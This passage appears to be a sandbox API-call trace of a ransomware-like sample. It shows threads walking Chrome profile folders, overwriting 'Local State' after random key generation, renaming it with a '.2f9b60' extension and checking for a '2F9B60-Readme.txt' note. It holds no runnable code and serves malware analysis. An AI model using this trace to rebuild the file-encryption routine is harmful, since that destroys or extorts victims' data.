dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager", cAlternateFileName="QUOTAM~1")) returned 1 [0244.269] wcscmp (_String1="QuotaManager", _String2=".") returned 1 [0244.269] wcscmp (_String1="QuotaManager", _String2="..") returned 1 [0244.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107480 [0244.270] wcscpy (in: _Dest=0x107480, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.270] wcscat (in: _Dest=0x107480, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.270] wcscat (in: _Dest=0x107480, _Source="QuotaManager" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" [0244.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178 [0244.270] FindNextFileW (hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40) Thread: id = 3663 os_tid = 0x2254 [0218.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x43109430 [0218.262] wcscpy (in: _Dest=0x43109430, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0218.262] wcscat (in: _Dest=0x43109430, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\" [0218.262] wcscat (in: _Dest=0x43109430, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*" [0218.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0218.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.903] wcscmp (_String1=".", _String2=".") returned 0 [0219.903] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.903] wcscmp (_String1="..", _String2=".") returned 1 [0219.903] wcscmp (_String1="..", _String2="..") returned 0 [0219.903] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.903] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0219.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43109430) returned 1 [0219.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ef0) returned 1 Thread: id = 3664 os_tid = 0xb90 [0218.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279430 [0218.263] wcscpy (in: _Dest=0x20279430, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0218.263] wcscat (in: _Dest=0x20279430, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\" [0218.263] wcscat (in: _Dest=0x20279430, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*" [0218.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f7f0 [0218.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.880] wcscmp (_String1=".", _String2=".") returned 0 [0219.880] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.880] wcscmp (_String1="..", _String2=".") returned 1 [0219.880] wcscmp (_String1="..", _String2="..") returned 0 [0219.880] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.880] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f7f0) returned 1 [0219.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279430) returned 1 [0219.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec8a0) returned 1 Thread: id = 3665 os_tid = 0x248 [0218.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\first run")) returned 0x2020 [0219.883] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", dwFileAttributes=0x20) returned 1 [0224.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\first run"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a70 [0224.505] GetFileSizeEx (in: hFile=0x2a70, lpFileSize=0x4f82fdc0 | out: lpFileSize=0x4f82fdc0*=0) returned 1 [0224.505] FlushFileBuffers (hFile=0x2a70) returned 1 [0224.661] CloseHandle (hObject=0x2a70) returned 1 [0224.661] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", dwFileAttributes=0x2020) returned 1 [0225.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 Thread: id = 3666 os_tid = 0x21e4 [0218.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state")) returned 0x2020 [0219.883] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dwFileAttributes=0x20) returned 1 [0224.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2850 [0224.508] GetFileSizeEx (in: hFile=0x2850, lpFileSize=0x4f92f820 | out: lpFileSize=0x4f92f820*=67626) returned 1 [0224.508] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x10826, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.508] ReadFile (in: hFile=0x2850, lpBuffer=0x4f92f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4f92f7e8, lpOverlapped=0x0 | out: lpBuffer=0x4f92f7a0*, lpNumberOfBytesRead=0x4f92f7e8*=0x4, lpOverlapped=0x0) returned 1 [0224.512] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0224.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0224.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0224.514] NtQuerySystemTime (in: CurrentTime=0x4f92f6e0 | out: CurrentTime=0x4f92f6e0*=132462178285006000) returned 0x0 [0224.514] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x2fff56fc [0224.514] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x2ada3043 [0224.514] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x3daac727 [0224.514] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x58c4c15b [0224.514] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x45e7edc1 [0224.514] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x2cd89fe9 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x243924a [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x5c88becc [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x2704759b [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x761a1850 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x7bd1655e [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x2d24bbc1 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x5904bc08 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x15b14828 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x4679da84 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x45b5a412 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x4f05abdd [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x65f18b83 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x55725cc2 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x3f2a1b65 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x2ed197f1 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x29fdfefd [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x4d13a52a [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x57f9b150 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x496885af [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x982beeb [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x7906ca66 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x76402c22 [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x14a7239b [0224.515] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x765f5854 [0224.516] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x6e49b404 [0224.516] RtlRandomEx (in: Seed=0x4f92f6d0 | out: Seed=0x4f92f6d0) returned 0x4bb6d91c [0224.526] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.526] ReadFile (in: hFile=0x2850, lpBuffer=0x41d00d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4f92f740, lpOverlapped=0x0 | out: lpBuffer=0x41d00d80*, lpNumberOfBytesRead=0x4f92f740*=0x3c00, lpOverlapped=0x0) returned 1 [0224.582] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0224.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0224.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0224.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604a0) returned 1 [0224.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d04990 [0224.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0224.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0224.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262420) returned 1 [0224.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0224.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0224.588] WriteFile (in: hFile=0x2850, lpBuffer=0x41d04990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4f92f740, lpOverlapped=0x0 | out: lpBuffer=0x41d04990*, lpNumberOfBytesWritten=0x4f92f740*=0x3c00, lpOverlapped=0x0) returned 1 [0234.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d04990) returned 1 [0234.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d00d80) returned 1 [0234.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x422f41e0 [0234.815] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.815] WriteFile (in: hFile=0x2850, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x4f92f7f0, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x4f92f7f0*=0x108, lpOverlapped=0x0) returned 1 [0236.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce626e0 [0236.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b730 [0236.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b730) returned 1 [0236.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0236.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b730 [0236.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0236.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0236.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce626e0) returned 1 [0236.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac920 [0236.570] sprintf (in: _Dest=0x431ac920, _Format="%c%c" | out: _Dest="f4") returned 2 [0236.570] sprintf (in: _Dest=0x431ac922, _Format="%c%c" | out: _Dest="ce") returned 2 [0236.570] sprintf (in: _Dest=0x431ac924, _Format="%c%c" | out: _Dest="39") returned 2 [0236.570] sprintf (in: _Dest=0x431ac926, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.570] sprintf (in: _Dest=0x431ac928, _Format="%c%c" | out: _Dest="48") returned 2 [0236.570] sprintf (in: _Dest=0x431ac92a, _Format="%c%c" | out: _Dest="d6") returned 2 [0236.570] sprintf (in: _Dest=0x431ac92c, _Format="%c%c" | out: _Dest="92") returned 2 [0236.570] sprintf (in: _Dest=0x431ac92e, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.570] sprintf (in: _Dest=0x431ac930, _Format="%c%c" | out: _Dest="04") returned 2 [0236.570] sprintf (in: _Dest=0x431ac932, _Format="%c%c" | out: _Dest="65") returned 2 [0236.570] sprintf (in: _Dest=0x431ac934, _Format="%c%c" | out: _Dest="af") returned 2 [0236.570] sprintf (in: _Dest=0x431ac936, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.570] sprintf (in: _Dest=0x431ac938, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.570] sprintf (in: _Dest=0x431ac93a, _Format="%c%c" | out: _Dest="4e") returned 2 [0236.570] sprintf (in: _Dest=0x431ac93c, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.570] sprintf (in: _Dest=0x431ac93e, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.571] sprintf (in: _Dest=0x431ac940, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.571] sprintf (in: _Dest=0x431ac942, _Format="%c%c" | out: _Dest="41") returned 2 [0236.571] sprintf (in: _Dest=0x431ac944, _Format="%c%c" | out: _Dest="66") returned 2 [0236.571] sprintf (in: _Dest=0x431ac946, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.571] sprintf (in: _Dest=0x431ac948, _Format="%c%c" | out: _Dest="4f") returned 2 [0236.571] sprintf (in: _Dest=0x431ac94a, _Format="%c%c" | out: _Dest="01") returned 2 [0236.571] RtlInitAnsiString (in: DestinationString=0x4f92f868, SourceString="f4ce398d48d692b10465afdcdc4eb2ac7b4166f24f01" | out: DestinationString="f4ce398d48d692b10465afdcdc4eb2ac7b4166f24f01") [0236.571] RtlAnsiStringToUnicodeString (in: DestinationString=0x4f92f838, SourceString="f4ce398d48d692b10465afdcdc4eb2ac7b4166f24f01", AllocateDestinationString=1 | out: DestinationString="f4ce398d48d692b10465afdcdc4eb2ac7b4166f24f01") returned 0x0 [0236.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4310f8a0 [0236.572] wcscat (in: _Dest=0x430e3ce0, _Source="f4ce398d48d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\f4ce398d48d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\f4ce398d48d" [0236.572] wcscat (in: _Dest=0x430e3ce0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\f4ce398d48d.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\f4ce398d48d.2f9b60" [0236.572] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\f4ce398d48d.2f9b60", NtPathName=0x4f92f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\f4ce398d48d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d7de0 [0236.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d7de0) returned 1 [0236.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c29970) returned 1 [0236.941] NtQueryInformationFile (in: FileHandle=0x2850, IoStatusBlock=0x4f92f878, FileInformation=0x4f92f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4f92f878, FileInformation=0x4f92f888) returned 0x0 [0236.941] NtSetInformationFile (FileHandle=0x2850, IoStatusBlock=0x4f92f878, FileInformation=0x4f92f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e3ce0) returned 1 [0237.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310f8a0) returned 1 [0237.036] FlushFileBuffers (hFile=0x2850) returned 1 [0238.197] CloseHandle (hObject=0x2850) returned 1 [0241.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x43129c20 [0241.261] wcscpy (in: _Dest=0x43129c20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0241.261] wcscat (in: _Dest=0x43129c20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt" [0241.261] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\2f9b60-readme.txt")) returned 0x2020 [0241.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43129c20) returned 1 [0241.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce167c0) returned 1 Thread: id = 3667 os_tid = 0x19a8 [0218.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x43109640 [0218.267] wcscpy (in: _Dest=0x43109640, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0218.267] wcscat (in: _Dest=0x43109640, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\" [0218.267] wcscat (in: _Dest=0x43109640, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*" [0218.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f310 [0218.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 